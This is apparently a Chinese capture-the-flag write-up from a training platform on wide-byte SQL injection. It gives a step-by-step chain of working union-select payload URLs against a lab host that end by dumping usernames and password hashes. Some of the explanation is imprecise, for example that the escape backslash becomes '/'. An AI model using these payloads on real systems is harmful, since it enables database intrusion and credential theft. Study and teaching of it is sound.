sql注入之宽字节注入(墨者学院)

sql注入之宽字节注入
1.原理:当php开启魔术函数–magic_quotes_gpc函数时,单引号(’)  双引号(")  反斜线() 等字符都会加上反斜线。
eg:我们在id=1后面加上’ 会被自动转义为 /’ 所以导致我们输入的东西无法闭合,就不会当做代码执行,就无法产生SQL注入了。
2.绕过原理:
(1)1,a,’ 均为一个字节
(2)汉字 均为三个字节
(3)希腊字母β—> 两个字节
我们可以用β来覆盖所产生的/,从而导致闭合语句,可以正常注入!(β的url编码为%df)。
3.实战:
我们在传递的参数后面加: %df’ ,可以看到产生了宽字节,引号成功逃逸,接着就可以常规注入!
sql注入之宽字节注入(墨者学院)_第1张图片
我们先来查询一下字段值:

http://219.153.49.228:49740/new_list.php?id=1 %df'  order by 5--+

sql注入之宽字节注入(墨者学院)_第2张图片
接着看一下回显:

http://219.153.49.228:49740/new_list.php?id=-1 %df'  union select 1,2,3,4,5--+

sql注入之宽字节注入(墨者学院)_第3张图片

然后我们可以查看库名以及用户;

http://219.153.49.228:49740/new_list.php?id=-1 %df'  union select 1,2,database(),4,5--+

sql注入之宽字节注入(墨者学院)_第4张图片
接着爆表名:

http://219.153.49.228:49740/new_list.php?id=-1 %df'  union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()),4,5--+

sql注入之宽字节注入(墨者学院)_第5张图片
爆字段需要注意,因为语句 where=’table‘ 查字段名字,这里用到单引号,这里也会被转义会报错。解决方案:将表名转16进制(然后前面加上0x,因为0x为16进制的标志)

http://219.153.49.228:49740/new_list.php?id=-1 %df'  union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=0x73746f726d67726f75705f6d656d626572),4,5--+

sql注入之宽字节注入(墨者学院)_第6张图片
最后我们爆字段即可:

http://219.153.49.228:49740/new_list.php?id=-1 %df'  union select 1,2,(select group_concat(password) from stormgroup_member),4,(select group_concat(name) from stormgroup_member)--+

sql注入之宽字节注入(墨者学院)_第7张图片
4.MD5解密一下拿到flag!
sql注入之宽字节注入(墨者学院)_第8张图片

你可能感兴趣的:(实战集)